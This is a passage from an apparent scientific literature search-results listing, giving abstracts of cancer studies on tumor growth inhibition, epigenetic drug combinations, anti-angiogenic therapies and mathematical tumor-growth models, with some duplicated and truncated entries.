target histone acetyl transferase (HAT) and histone deacetylase (HDAC) complexes to chromatin. Methods and Principal Findings Here we asked whether dysregulating two epigenetic pathways with chemical inhibitors showed synergistic effects on breast cancer cell line killing. We also tested whether ING1 could synergize better with chemotherapeutics that target the same epigenetic mechanism such as the HDAC inhibitor LBH589 (Panobinostat) or a different epigenetic mechanism such as 5-azacytidine (5azaC), which inhibits DNA methyl transferases. Simultaneous treatment of breast cancer cell lines with LBH589 and 5azaC did not show significant synergy in killing cells. However, combination treatment of ING1 with either LBH589 or 5azaC did show synergy. The combination of ING1b with 5azaC, which targets two distinct epigenetic mechanisms, was more effective at lower doses and enhanced apoptosis as determined by Annexin V staining and cleavage of caspase 3 and poly-ADP-ribose polymerase (PARP). ING1b plus 5azaC also acted synergistically to increase γH2AX staining indicating significant levels of DNA damage were induced. Adenoviral delivery of ING1b with 5azaC also inhibited cancer cell growth in a murine xenograft model and led to tumor regression when viral concentration was optimized in vivo. Conclusions These data show that targeting distinct epigenetic pathways can be more effective in blocking cancer cell line growth than targeting the same pathway with multiple agents, and that using viral delivery of epigenetic regulators can be more effective in synergizing with a chemical agent than using two chemotherapeutic agents. This study also indicates that the ING1 epigenetic regulator may have additional activities in the cell when expressed at high levels. PMID:22916295 7. ING1 and 5-azacytidine act synergistically to block breast cancer cell growth. Directory of Open Access Journals (Sweden) Satbir Thakur Full Text Available BACKGROUND: Inhibitor of Growth (ING proteins are epigenetic "readers" that recognize trimethylated lysine 4 of histone H3 (H3K4Me3 and target histone acetyl transferase (HAT and histone deacetylase (HDAC complexes to chromatin. METHODS AND PRINCIPAL FINDINGS: Here we asked whether dysregulating two epigenetic pathways with chemical inhibitors showed synergistic effects on breast cancer cell line killing. We also tested whether ING1 could synergize better with chemotherapeutics that target the same epigenetic mechanism such as the HDAC inhibitor LBH589 (Panobinostat or a different epigenetic mechanism such as 5-azacytidine (5azaC, which inhibits DNA methyl transferases. Simultaneous treatment of breast cancer cell lines with LBH589 and 5azaC did not show significant synergy in killing cells. However, combination treatment of ING1 with either LBH589 or 5azaC did show synergy. The combination of ING1b with 5azaC, which targets two distinct epigenetic mechanisms, was more effective at lower doses and enhanced apoptosis as determined by Annexin V staining and cleavage of caspase 3 and poly-ADP-ribose polymerase (PARP. ING1b plus 5azaC also acted synergistically to increase γH2AX staining indicating significant levels of DNA damage were induced. Adenoviral delivery of ING1b with 5azaC also inhibited cancer cell growth in a murine xenograft model and led to tumor regression when viral concentration was optimized in vivo. CONCLUSIONS: These data show that targeting distinct epigenetic pathways can be more effective in blocking cancer cell line growth than targeting the same pathway with multiple agents, and that using viral delivery of epigenetic regulators can be more effective in synergizing with a chemical agent than using two chemotherapeutic agents. This study also indicates that the ING1 epigenetic regulator may have additional activities in the cell when expressed at high levels. 8. Beta-adrenoceptor-blocking drugs, growth hormone and acromegaly. OpenAIRE Feely, J. 1980-01-01 Chronic treatment with oxprenolol or propranolol in active hypertensive patients was associated with elevation of serum growth hormone (GH). Propranolol, 80 mg orally, caused a marked rise in GH in 3 of 4 acromegalic patients. 9. Fluctuation of Parameters in Tumor Cell Growth Model Institute of Scientific and Technical Information of China (English) AI Bao-Quan; WANG Xian-Ju; LIU Guo-Tao; LIU Liang-Gang 2003-01-01 We study the steady state properties of a logistic growth model in the presence of Gaussian white noise.Based on the corresponding Fokker-Planck equation the steady state solution of the probability distribution functionand its extrema have been investigated. It is found that the fluctuation of the tumor birth rate reduces the populationof the cells while the fluctuation of predation rate can prevent the population of tumor cells from going into extinction.Noise in the system can induce the phase transition. 10. Fluctuation of Parameters in Tumor Cell Growth Model Institute of Scientific and Technical Information of China (English) AIBao-Quan; WANGXian-Ju; LIUGuo-Tao; LIULiang-Gang 2003-01-01 We study the steady state properties of a logistic growth model in the presence of Gaussian white noise.Based on the corresponding Fokker-Planck equation the steady state solution of the probability distribution function and its extrema have been investigated. It is found that the fluctuation of the tumor birth rate reduces the population of the cells while the fluctuation of predation rate can prevent the population of tumor ceils from going into extinction.Noise in the system can induce the phase transition. 11. Inhibitors of the cytochrome P-450 enzymes block the secretagogue-induced release of corticotropin in mouse pituitary tumor cells. OpenAIRE Luini, A G; Axelrod, J 1985-01-01 A mouse pituitary tumor cell line (AtT-20) releases corticotropin (ACTH) in response to a number of secretagogues, including corticotropin-releasing factor (CRF), beta-adrenergic agents, N6,O2'-dibutyryladenosine 3',5'-cyclic monophosphate (Bt2 cAMP), and potassium. The stimulation of ACTH secretion induced by the secretagogues can be blocked by inhibitors of the enzymes that generate (phospholipase A2) and metabolize (lipoxygenase and epoxygenase) arachidonic acid. The phospholipase A2 block... 12. Hypoestoxide inhibits tumor growth in the mouse CT26 colon tumor model Institute of Scientific and Technical Information of China (English) Emmanuel A Ojo-Amaize; Howard B Cottam; Olusola A Oyemade; Joseph I Okogun; Emeka J Nchekwube 2007-01-01 AIM: To evaluate the effect of the natural diterpenoid,hypoestoxide (HE) on the growth of established colon cancer in mice.METHODS: The CT26.WT mouse colon carcinoma cell line was grown and expanded in vitro. Following the expansion, BALB/c mice were inoculated s.c. with viable tumor cells. After the tumors had established and developed to about 80-90 mm3, the mice were started on chemotherapy by oral administration of HE, 5-fluorouracil (5-FU) or combination.RESULTS: The antiangiogenic HE has previously been shown to inhibit the growth of melanoma in the B16F1tumor model in C57BL/6 mice. Our results demonstrate that mean volume of tumors in mice treated with oral HE as a single agent or in combination with 5-FU, were significantly smaller (> 60%) than those in vehicle control mice (471.2 mm3 vs 1542.8 mm3, P < 0.01).The significant reductions in tumor burden resulted in pronounced mean survival times (MST) and increased life spans (ILS) in the treated mice.CONCLUSION: These results indicate that HE is an effective chemotherapeutic agent for colorectal cancer in mice and that HE may be used alone or in combination with 5-FU. 13. The role of the microenvironment in tumor growth and invasion Science.gov (United States) Kim, Yangjin; Stolarska, Magdalena A.; Othmer, Hans G. 2011-01-01 Mathematical modeling and computational analysis are essential for understanding the dynamics of the complex gene networks that control normal development and homeostasis, and can help to understand how circumvention of that control leads to abnormal outcomes such as cancer. Our objectives here are to discuss the different mechanisms by which the local biochemical and mechanical microenvironment, which is comprised of various signaling molecules, cell types and the extracellular matrix (ECM), affects the progression of potentially-cancerous cells, and to present new results on two aspects of these effects. We first deal with the major processes involved in the progression from a normal cell to a cancerous cell at a level accessible to a general scientific readership, and we then outline a number of mathematical and computational issues that arise in cancer modeling. In Section 2 we present results from a model that deals with the effects of the mechanical properties of the environment on tumor growth, and in Section 3 we report results from a model of the signaling pathways and the tumor microenvironment (TME), and how their interactions affect the development of breast cancer. The results emphasize anew the complexities of the interactions within the TME and their effect on tumor growth, and show that tumor progression is not solely determined by the presence of a clone of mutated immortal cells, but rather that it can be ‘community-controlled’. It Takes a Village – Hilary Clinton PMID:21736894 14. Bursts of Bipolar Microsecond Pulses Inhibit Tumor Growth Science.gov (United States) Sano, Michael B.; Arena, Christopher B.; Bittleman, Katelyn R.; Dewitt, Matthew R.; Cho, Hyung J.; Szot, Christopher S.; Saur, Dieter; Cissell, James M.; Robertson, John; Lee, Yong W.; Davalos, Rafael V. 2015-10-01 Irreversible electroporation (IRE) is an emerging focal therapy which is demonstrating utility in the treatment of unresectable tumors where thermal ablation techniques are contraindicated. IRE uses ultra-short duration, high-intensity monopolar pulsed electric fields to permanently disrupt cell membranes within a well-defined volume. Though preliminary clinical results for IRE are promising, implementing IRE can be challenging due to the heterogeneous nature of tumor tissue and the unintended induction of muscle contractions. High-frequency IRE (H-FIRE), a new treatment modality which replaces the monopolar IRE pulses with a burst of bipolar pulses, has the potential to resolve these clinical challenges. We explored the pulse-duration space between 250 ns and 100 μs and determined the lethal electric field intensity for specific H-FIRE protocols using a 3D tumor mimic. Murine tumors were exposed to 120 bursts, each energized for 100 μs, containing individual pulses 1, 2, or 5 μs in duration. Tumor growth was significantly inhibited and all protocols were able to achieve complete regressions. The H-FIRE protocol substantially reduces muscle contractions and the therapy can be delivered without the need for a neuromuscular blockade. This work shows the potential for H-FIRE to be used as a focal therapy and merits its investigation in larger pre-clinical models. 15. Biodegradable polymeric micelles encapsulated JK184 suppress tumor growth through inhibiting Hedgehog signaling pathway Science.gov (United States) Zhang, Nannan; Liu, Shichang; Wang, Ning; Deng, Senyi; Song, Linjiang; Wu, Qinjie; Liu, Lei; Su, Weijun; Wei, Yuquan; Xie, Yongmei; Gong, Changyang 2015-01-01 JK184 can specially inhibit Gli in the Hedgehog (Hh) pathway, which showed great promise for cancer therapeutics. For developing aqueous formulation and improving anti-tumor activity of JK184, we prepared JK184 encapsulated MPEG-PCL micelles by the solid dispersion method without using surfactants or toxic organic solvents. The cytotoxicity and cellular uptake of JK184 micelles were both increased compared with the free drug. JK184 micelles induced more apoptosis and blocked proliferation of Panc-1 and BxPC-3 tumor cells. In addition, JK184 micelles exerted a sustained in vitro release behavior and had a stronger inhibitory effect on proliferation, migration and invasion of HUVECs than free JK184. Furthermore, JK184 micelles had stronger tumor growth inhibiting effects in subcutaneous Panc-1 and BxPC-3 tumor models. Histological analysis showed that JK184 micelles improved anti-tumor activity by inducing more apoptosis, decreasing microvessel density and reducing expression of CD31, Ki67, and VEGF in tumor tissues. JK184 micelles showed a stronger inhibition of Gli expression in Hh signaling, which played an important role in pancreatic carcinoma. Furthermore, circulation time of JK184 in blood was prolonged after entrapment in polymeric micelles. Our results suggested that JK184 micelles are a promising drug candidate for treating pancreatic tumors with a highly inhibitory effect on Hh activity.JK184 can specially inhibit Gli in the Hedgehog (Hh) pathway, which showed great promise for cancer therapeutics. For developing aqueous formulation and improving anti-tumor activity of JK184, we prepared JK184 encapsulated MPEG-PCL micelles by the solid dispersion method without using surfactants or toxic organic solvents. The cytotoxicity and cellular uptake of JK184 micelles were both increased compared with the free drug. JK184 micelles induced more apoptosis and blocked proliferation of Panc-1 and BxPC-3 tumor cells. In addition, JK184 micelles exerted a sustained in 16. Interfacial properties in a discrete model for tumor growth Science.gov (United States) Moglia, Belén; Guisoni, Nara; Albano, Ezequiel V. 2013-03-01 We propose and study, by means of Monte Carlo numerical simulations, a minimal discrete model for avascular tumor growth, which can also be applied for the description of cell cultures in vitro. The interface of the tumor is self-affine and its width can be characterized by the following exponents: (i) the growth exponent β=0.32(2) that governs the early time regime, (ii) the roughness exponent α=0.49(2) related to the fluctuations in the stationary regime, and (iii) the dynamic exponent z=α/β≃1.49(2), which measures the propagation of correlations in the direction parallel to the interface, e.g., ξ∝t1/z, where ξ is the parallel correlation length. Therefore, the interface belongs to the Kardar-Parisi-Zhang universality class, in agreement with recent experiments of cell cultures in vitro. Furthermore, density profiles of the growing cells are rationalized in terms of traveling waves that are solutions of the Fisher-Kolmogorov equation. In this way, we achieved excellent agreement between the simulation results of the discrete model and the continuous description of the growth front of the culture or tumor. 17. Over-Expression of Platelet-Derived Growth Factor-D Promotes Tumor Growth and Invasion in Endometrial Cancer Directory of Open Access Journals (Sweden) Yuan Wang 2014-03-01 Full Text Available The platelet-derived growth factor-D (PDGF-D was demonstrated to be able to promote tumor growth and invasion in human malignancies. However, little is known about its roles in endometrial cancer. In the present study, we investigated the expression and functions of PDGF-D in human endometrial cancer. Alterations of PDGF-D mRNA and protein were determined by real time PCR, western blot and immunohistochemical staining. Up-regulation of PDGF-D was achieved by stably transfecting the pcDNA3-PDGF-D plasmids into ECC-1 cells; and knockdown of PDGF-D was achieved by transient transfection with siRNA-PDGF-D into Ishikawa cells. The MTT assay, colony formation assay and Transwell assay were used to detect the effects of PDGF-D on cellular proliferation and invasion. The xenograft assay was used to investigate the functions of PDGF-D in vivo. Compared to normal endometrium, more than 50% cancer samples showed over-expression of PDGF-D (p < 0.001, and high level of PDGF-D was correlated with late stage (p = 0.003, deep myometrium invasion (p < 0.001 and lympha vascular space invasion (p = 0.006. In vitro, over-expressing PDGF-D in ECC-1 cells significantly accelerated tumor growth and promoted cellular invasion by increasing the level of MMP2 and MMP9; while silencing PDGF-D in Ishikawa cells impaired cell proliferation and inhibited the invasion, through suppressing the expression of MMP2 and MMP9. Moreover, we also demonstrated that over-expressed PDGF-D could induce EMT and knockdown of PDGF-D blocked the EMT transition. Consistently, in xenografts assay, PDGF-D over-expression significantly promoted tumor growth and tumor weights. We demonstrated that PDGF-D was commonly over-expressed in endometrial cancer, which was associated with late stage deep myometrium invasion and lympha vascular space invasion. Both in vitro and in vivo experiments showed PDGF-D could promote tumor growth and invasion through up-regulating MMP2/9 and inducing EMT. Thus, we 18. Serum platelet-derived growth factor and fibroblast growth factor in patients with benign and malignant ovarian tumors DEFF Research Database (Denmark) Madsen, Christine Vestergaard; Steffensen, Karina Dahl; Olsen, Dorte Aalund; 2012-01-01 New biological markers with predictive or prognostic value are highly warranted in the treatment of ovarian cancer. The platelet-derived growth factor (PDGF) system and fibroblast growth factor (FGF) system are important components in tumor growth and angiogenesis.... 19. Amygdalin Blocks Bladder Cancer Cell Growth In Vitro by Diminishing Cyclin A and cdk2 OpenAIRE Jasmina Makarević; Jochen Rutz; Eva Juengel; Silke Kaulfuss; Michael Reiter; Igor Tsaur; Georg Bartsch; Axel Haferkamp; Blaheta, Roman A. 2014-01-01 Amygdalin, a natural compound, has been used by many cancer patients as an alternative approach to treat their illness. However, whether or not this substance truly exerts an anti-tumor effect has never been settled. An in vitro study was initiated to investigate the influence of amygdalin (1.25-10 mg/ml) on the growth of a panel of bladder cancer cell lines (UMUC-3, RT112 and TCCSUP). Tumor growth, proliferation, clonal growth and cell cycle progression were investigated. The cell cycle regu... 20. Genetically engineered endostatin-lidamycin fusion proteins effectively inhibit tumor growth and metastasis International Nuclear Information System (INIS) Endostatin (ES) inhibits endothelial cell proliferation, migration, invasion, and tube formation. It also shows antiangiogenesis and antitumor activities in several animal models. Endostatin specifically targets tumor vasculature to block tumor growth. Lidamycin (LDM), which consists of an active enediyne chromophore (AE) and a non-covalently bound apo-protein (LDP), is a member of chromoprotein family of antitumor antibiotics with extremely potent cytotoxicity to cancer cells. Therefore, we reasoned that endostatin-lidamycin (ES-LDM) fusion proteins upon energizing with enediyne chromophore may obtain the combined capability targeting tumor vasculature and tumor cell by respective ES and LDM moiety. In this study, we designed and obtained two new endostatin-based fusion proteins, endostatin-LDP (ES-LDP) and LDP-endostatin (LDP-ES). In vitro, the antiangiogenic effect of fusion proteins was determined by the wound healing assay and tube formation assay and the cytotoxicity of their enediyne-energized analogs was evaluated by CCK-8 assay. Tissue microarray was used to analyze the binding affinity of LDP, ES or ES-LDP with specimens of human lung tissue and lung tumor. The in vivo efficacy of the fusion proteins was evaluated with human lung carcinoma PG-BE1 xenograft and the experimental metastasis model of 4T1-luc breast cancer. ES-LDP and LDP-ES disrupted the formation of endothelial tube structures and inhibited endothelial cell migration. Evidently, ES-LDP accumulated in the tumor and suppressed tumor growth and metastasis. ES-LDP and ES show higher binding capability than LDP to lung carcinoma; in addition, ES-LDP and ES share similar binding capability. Furthermore, the enediyne-energized fusion protein ES-LDP-AE demonstrated significant efficacy against lung carcinoma xenograft in athymic mice. The ES-based fusion protein therapy provides some fundamental information for further drug development. Targeting both tumor vasculature and tumor cells by endostatin 1. A novel rabbit anti-hepatocyte growth factor monoclonal neutralizing antibody inhibits tumor growth in prostate cancer cells and mouse xenografts Energy Technology Data Exchange (ETDEWEB) Yu, Yanlan; Chen, Yicheng; Ding, Guoqing; Wang, Mingchao; Wu, Haiyang; Xu, Liwei; Rui, Xuefang; Zhang, Zhigen, E-mail: srrshurology@163.com 2015-08-14 The hepatocyte growth factor and its receptor c-Met are correlated with castration-resistance in prostate cancer. Although HGF has been considered as an attractive target for therapeutic antibodies, the lack of cross-reactivity of monoclonal antibodies with human/mouse HGFs is a major obstacle in preclinical developments. We generated a panel of anti-HGF RabMAbs either blocking HGF/c-Met interaction or inhibiting c-Met phosphorylation. We selected one RabMAb with mouse cross-reactivity and demonstrated that it blocked HGF-stimulated downstream activation in PC-3 and DU145 cells. Anti-HGF RabMAb inhibited not only the growth of PC-3 cells but also HGF-dependent proliferation in HUVECs. We further demonstrated the efficacy and potency of the anti-HGF RabMAb in tumor xenograft mice models. Through these in vitro and in vivo experiments, we explored a novel therapeutic antibody for advanced prostate cancer. - Highlights: • HGF is an attractive target for castration-refractory prostate cancer. • We generated and characterized a panel of anti-HGF rabbit monoclonal antibodies. • More than half of these anti-HGF RabMAbs was cross-reactive with mouse HGF. • Anti-HGF RabMAb blocks HGF-stimulated phosphorylation and cell growth in vitro. • Anti-HGF RabMAb inhibits tumor growth and angiogenesis in xenograft mice. 2. Targeting vascular NADPH oxidase 1 blocks tumor angiogenesis through a PPARα mediated mechanism. Directory of Open Access Journals (Sweden) Sarah Garrido-Urbani Full Text Available Reactive oxygen species, ROS, are regulators of endothelial cell migration, proliferation and survival, events critically involved in angiogenesis. Different isoforms of ROS-generating NOX enzymes are expressed in the vasculature and provide distinct signaling cues through differential localization and activation. We show that mice deficient in NOX1, but not NOX2 or NOX4, have impaired angiogenesis. NOX1 expression and activity is increased in primary mouse and human endothelial cells upon angiogenic stimulation. NOX1 silencing decreases endothelial cell migration and tube-like structure formation, through the inhibition of PPARα, a regulator of NF-κB. Administration of a novel NOX-specific inhibitor reduced angiogenesis and tumor growth in vivo in a PPARα dependent manner. In conclusion, vascular NOX1 is a critical mediator of angiogenesis and an attractive target for anti-angiogenic therapies. 3. Nucleolin antagonist triggers autophagic cell death in human glioblastoma primary cells and decreased in vivo tumor growth in orthotopic brain tumor model. Science.gov (United States) Benedetti, Elisabetta; Antonosante, Andrea; d'Angelo, Michele; Cristiano, Loredana; Galzio, Renato; Destouches, Damien; Florio, Tiziana Marilena; Dhez, Anne Chloé; Astarita, Carlo; Cinque, Benedetta; Fidoamore, Alessia; Rosati, Floriana; Cifone, Maria Grazia; Ippoliti, Rodolfo; Giordano, Antonio; Courty, José; Cimini, Annamaria 2015-12-01 Nucleolin (NCL) is highly expressed in several types of cancer and represents an interesting therapeutic target. It is expressed at the plasma membrane of tumor cells, a property which is being used as a marker for several human cancer including glioblastoma. In this study we investigated targeting NCL as a new therapeutic strategy for the treatment of this pathology. To explore this possibility, we studied the effect of an antagonist of NCL, the multivalent pseudopeptide N6L using primary culture of human glioblastoma cells. In this system, N6L inhibits cell growth with different sensitivity depending to NCL localization. Cell cycle analysis indicated that N6L-induced growth reduction was due to a block of the G1/S transition with down-regulation of the expression of cyclin D1 and B2. By monitoring autophagy markers such as p62 and LC3II, we demonstrate that autophagy is enhanced after N6L treatment. In addition, N6L-treatment of mice bearing tumor decreased in vivo tumor growth in orthotopic brain tumor model and increase mice survival. The results obtained indicated an anti-proliferative and pro-autophagic effect of N6L and point towards its possible use as adjuvant agent to the standard therapeutic protocols presently utilized for glioblastoma. PMID:26540346 4. Nucleolin antagonist triggers autophagic cell death in human glioblastoma primary cells and decreased in vivo tumor growth in orthotopic brain tumor model. Science.gov (United States) Benedetti, Elisabetta; Antonosante, Andrea; d'Angelo, Michele; Cristiano, Loredana; Galzio, Renato; Destouches, Damien; Florio, Tiziana Marilena; Dhez, Anne Chloé; Astarita, Carlo; Cinque, Benedetta; Fidoamore, Alessia; Rosati, Floriana; Cifone, Maria Grazia; Ippoliti, Rodolfo; Giordano, Antonio; Courty, José; Cimini, Annamaria 2015-12-01 Nucleolin (NCL) is highly expressed in several types of cancer and represents an interesting therapeutic target. It is expressed at the plasma membrane of tumor cells, a property which is being used as a marker for several human cancer including glioblastoma. In this study we investigated targeting NCL as a new therapeutic strategy for the treatment of this pathology. To explore this possibility, we studied the effect of an antagonist of NCL, the multivalent pseudopeptide N6L using primary culture of human glioblastoma cells. In this system, N6L inhibits cell growth with different sensitivity depending to NCL localization. Cell cycle analysis indicated that N6L-induced growth reduction was due to a block of the G1/S transition with down-regulation of the expression of cyclin D1 and B2. By monitoring autophagy markers such as p62 and LC3II, we demonstrate that autophagy is enhanced after N6L treatment. In addition, N6L-treatment of mice bearing tumor decreased in vivo tumor growth in orthotopic brain tumor model and increase mice survival. The results obtained indicated an anti-proliferative and pro-autophagic effect of N6L and point towards its possible use as adjuvant agent to the standard therapeutic protocols presently utilized for glioblastoma. 5. A multinomial model of tumor growth treated by radiotherapy OpenAIRE Keinj, Roukaya; Bastogne, Thierry; Vallois, Pierre 2010-01-01 International audience A main challenge in radiotherapy is to personalize the treatment by adapting the dose fractionation scheme to the patient. One way is to model the treatment effect on the tumor growth. In this study, we propose a new multinomial model based on a discrete-time Markov chain, able to take into account both of cell repair and cell damage heterogeneity. The proposed model relies on the 'Hit' theory in Radiobiology and assumes that a cancer cell contains m targets which mu... 6. The Ape-1/Ref-1 redox antagonist E3330 inhibits the growth of tumor endothelium and endothelial progenitor cells: therapeutic implications in tumor angiogenesis. Science.gov (United States) Zou, Gang-Ming; Karikari, Collins; Kabe, Yasuaki; Handa, Hiroshi; Anders, Robert A; Maitra, Anirban 2009-04-01 The apurinic/apyrimidinic endonuclease 1/redox factor-1 (Ape-1/Ref-1) is a multi-functional protein, involved in DNA repair and the activation of redox-sensitive transcription factors. The Ape-1/Ref-1 redox domain acts as a cytoprotective element in normal endothelial cells, mitigating the deleterious effects of apoptotic stimuli through induction of survival signals. We explored the role of the Ape-1/Ref-1 redox domain in the maintenance of tumor-associated endothelium, and of endothelial progenitor cells (EPCs), which contribute to tumor angiogenesis. We demonstrate that E3330, a small molecule inhibitor of the Ape-1/Ref-1 redox domain, blocks the in vitro growth of pancreatic cancer-associated endothelial cells (PCECs) and EPCs, which is recapitulated by stable expression of a dominant-negative redox domain mutant. Further, E3330 blocks the differentiation of bone marrow-derived mesenchymal stem cells (BMSCs) into CD31(+) endothelial progeny. Exposure of PCECs to E3330 results in a reduction of H-ras expression and intracellular nitric oxide (NO) levels, as well as decreased DNA-binding activity of the hypoxia-inducible transcription factor, HIF-1alpha. E3330 also reduces secreted and intracellular vascular endothelial growth factor expression by pancreatic cancer cells, while concomitantly downregulating the cognate receptor Flk-1/KDR on PCECs. Inhibition of the Ape-1/Ref-1 redox domain with E3330 or comparable angiogenesis inhibitors might be a potent therapeutic strategy in solid tumors. 7. Emergent Behavior from A Cellular Automaton Model for Invasive Tumor Growth in Heterogeneous Microenvironments CERN Document Server Jiao, Yang 2011-01-01 Understanding tumor invasion and metastasis is of crucial importance for both fundamental cancer research and clinical practice. In vitro experiments have established that the invasive growth of malignant tumors is characterized by the dendritic invasive branches composed of chains of tumor cells emanating from the primary tumor mass. The preponderance of previous tumor simulations focused on non-invasive (or proliferative) growth. The formation of the invasive cell chains and their interactions with the primary tumor mass and host microenvironment are not well understood. Here, we present a novel cellular automaton (CA) model that enables one to efficiently simulate invasive tumor growth in a heterogeneous host microenvironment. By taking into account a variety of microscopic-scale tumor-host interactions, including the short-range mechanical interactions between tumor cells and tumor stroma, degradation of extracellular matrix by the invasive cells and oxygen/nutrient gradient driven cell motions, our CA mo... 8. Dynamic density functional theory of solid tumor growth: Preliminary models Directory of Open Access Journals (Sweden) Arnaud Chauviere 2012-03-01 Full Text Available Cancer is a disease that can be seen as a complex system whose dynamics and growth result from nonlinear processes coupled across wide ranges of spatio-temporal scales. The current mathematical modeling literature addresses issues at various scales but the development of theoretical methodologies capable of bridging gaps across scales needs further study. We present a new theoretical framework based on Dynamic Density Functional Theory (DDFT extended, for the first time, to the dynamics of living tissues by accounting for cell density correlations, different cell types, phenotypes and cell birth/death processes, in order to provide a biophysically consistent description of processes across the scales. We present an application of this approach to tumor growth. 9. Dynamic density functional theory of solid tumor growth: Preliminary models. Science.gov (United States) Chauviere, Arnaud; Hatzikirou, Haralambos; Kevrekidis, Ioannis G; Lowengrub, John S; Cristini, Vittorio 2012-03-01 Cancer is a disease that can be seen as a complex system whose dynamics and growth result from nonlinear processes coupled across wide ranges of spatio-temporal scales. The current mathematical modeling literature addresses issues at various scales but the development of theoretical methodologies capable of bridging gaps across scales needs further study. We present a new theoretical framework based on Dynamic Density Functional Theory (DDFT) extended, for the first time, to the dynamics of living tissues by accounting for cell density correlations, different cell types, phenotypes and cell birth/death processes, in order to provide a biophysically consistent description of processes across the scales. We present an application of this approach to tumor growth. PMID:22489279 10. The hypoxia-inducible factor-responsive proteins semaphorin 4D and vascular endothelial growth factor promote tumor growth and angiogenesis in oral squamous cell carcinoma Energy Technology Data Exchange (ETDEWEB) Zhou, Hua; Yang, Ying-Hua [Department of Oncology and Diagnostic Sciences, University of Maryland Dental School, 650W. Baltimore Street, 7-North, Baltimore, MD 21201 (United States); Binmadi, Nada O. [Department of Oncology and Diagnostic Sciences, University of Maryland Dental School, 650W. Baltimore Street, 7-North, Baltimore, MD 21201 (United States); Department of Oral Basic and Clinical Sciences, King Abdulaziz University, Jeddah 21589 (Saudi Arabia); Proia, Patrizia [Department of Oncology and Diagnostic Sciences, University of Maryland Dental School, 650W. Baltimore Street, 7-North, Baltimore, MD 21201 (United States); Department of Sports Science (DISMOT), University of Palermo, Via Eleonora Duse 2 90146, Palermo (Italy); Basile, John R., E-mail: jbasile@umaryland.edu [Department of Oncology and Diagnostic Sciences, University of Maryland Dental School, 650W. Baltimore Street, 7-North, Baltimore, MD 21201 (United States); Greenebaum Cancer Center, 22S. Greene Street, Baltimore, MD 21201 (United States) 2012-08-15 Growth and metastasis of solid tumors requires induction of angiogenesis to ensure the delivery of oxygen, nutrients and growth factors to rapidly dividing transformed cells. Through either mutations, hypoxia generated by cytoreductive therapies, or when a malignancy outgrows its blood supply, tumor cells undergo a change from an avascular to a neovascular phenotype, a transition mediated by the hypoxia-inducible factor (HIF) family of transcriptional regulators. Vascular endothelial growth factor (VEGF) is one example of a gene whose transcription is stimulated by HIF. VEGF plays a crucial role in promoting tumor growth and survival by stimulating new blood vessel growth in response to such stresses as chemotherapy or radiotherapy-induced hypoxia, and it therefore has become a tempting target for neutralizing antibodies in the treatment of advanced neoplasms. Emerging evidence has shown that the semaphorins, proteins originally associated with control of axonal growth and immunity, are regulated by changes in oxygen tension as well and may play a role in tumor-induced angiogenesis. Through the use of RNA interference, in vitro and in vivo angiogenesis assays and tumor xenograft experiments, we demonstrate that expression of semaphorin 4D (SEMA4D), which is under the control of the HIF-family of transcription factors, cooperates with VEGF to promote tumor growth and vascularity in oral squamous cell carcinoma (OSCC). We use blocking antibodies to show that targeting SEMA4D function along with VEGF could represent a novel anti-angiogenic therapeutic strategy for the treatment of OSCC and other solid tumors. -- Highlights: Black-Right-Pointing-Pointer Similar to VEGF, SEMA4D promotes angiogenesis in vitro and in vivo. Black-Right-Pointing-Pointer Both VEGF and SEMA4D are produced by OSCC cells in a HIF-dependent manner. Black-Right-Pointing-Pointer These factors combine to elicit a robust pro-angiogenic phenotype in OSCC. Black-Right-Pointing-Pointer Anti-SEMA4D 11. Growth curves of three human malignant tumors transplanted to nude mice DEFF Research Database (Denmark) Spang-Thomsen, M; Nielsen, A; Visfeldt, J 1980-01-01 Experimental growth data for three human malignant tumors transplanted to nude mice of BALB/c origin are analyzed statistically in order to investigate whether they can be described according to the Gompertz function. The aim is to set up unequivocal standards for planned therapeutic experiments...... and to develop an essential part of the determination of proliferation parameters for the tumors. The results indicate that the course of tumor growth can be described with good approximation by the Gompertz function. A transformation of this function depicts the growth rectilinearly and appears to be suitable...... mice. For tumors whose growth is described according to the Gompertz function, recording of the growth of the tumor size in two dimensions is sufficient for calculating other relevant growth parameters, if the three linear tumor measurements are proportional throughout the growth period. The initial... 12. Effects of Cordyceps militaris extract on angiogenesis and tumor growth Institute of Scientific and Technical Information of China (English) Hwa-seung YOO; Jang-woo SHIN; Jung-hyo CHO; Chang-gue SON; Yeon-weol LEE; Sang-yong PARK; Chong-kwan CHO 2004-01-01 AIM: To evaluate the effects of Cordyceps militaris extract (CME) on angiogenesis and tumor growth. METHODS:Human umbilical vein endothelial cells (HUVEC), HT1080, and B 16-F10 cells were used. DNA fragment, angiogenic related gene expressions (MMPs, bFGF, VEGF, etc), capillary tube formation, wound healing in vitro, rumor growth in vivo were measured. RESULTS: CME inhibited growth of HUVECs and HT1080 (P<0.01). CME 100and 200 mg/L reduced MMP-2 gene expression in HT1080 cells by 6.0 % and 22.9 % after 3-h and 14.9 % and 32.8 % after 6-h treatment. CME did not affect MMP-9 gene expression in B16-F10 melanoma cells. CME 100 and 200 mg/L also reduced bFGF gene expression in HUVECs by 22.2 % and 41.3 %. CME inhibited tube formation of endothelial cells in vitro and in vivo. CME repressed the growth of B 16-F10 melanoma cells in mice compared with control group (P<0.05). CONCLUSION: CME has antiangiogenetic properties. 13. Alerting the immune system via stromal cells is central to the prevention of tumor growth DEFF Research Database (Denmark) Navikas, Shohreh 2013-01-01 Anticancer immunotherapies are highly desired. Conversely, unwanted inflammatory or immune responses contribute to oncogenesis, tumor progression, and cancer-related death. For non-immunogenic therapies to inhibit tumor growth, they must promote, not prevent, the activation of anticancer immune... 14. Radiotherapy planning for glioblastoma based on a tumor growth model: Improving target volume delineation CERN Document Server Unkelbach, Jan; Konukoglu, Ender; Dittmann, Florian; Le, Matthieu; Ayache, Nicholas; Shih, Helen A 2013-01-01 Glioblastoma are known to infiltrate the brain parenchyma instead of forming a solid tumor mass with a defined boundary. Only the part of the tumor with high tumor cell density can be localized through imaging directly. In contrast, brain tissue infiltrated by tumor cells at low density appears normal on current imaging modalities. In clinical practice, a uniform margin is applied to account for microscopic spread of disease. The current treatment planning procedure can potentially be improved by accounting for the anisotropy of tumor growth: Anatomical barriers such as the falx cerebri represent boundaries for migrating tumor cells. In addition, tumor cells primarily spread in white matter and infiltrate gray matter at lower rate. We investigate the use of a phenomenological tumor growth model for treatment planning. The model is based on the Fisher-Kolmogorov equation, which formalizes these growth characteristics and estimates the spatial distribution of tumor cells in normal appearing regions of the brain... 15. Inhibiting Vimentin or beta 1-integrin Reverts Prostate Tumor Cells in IrECM and Reduces Tumor Growth Energy Technology Data Exchange (ETDEWEB) Zhang, Xueping; Fournier, Marcia 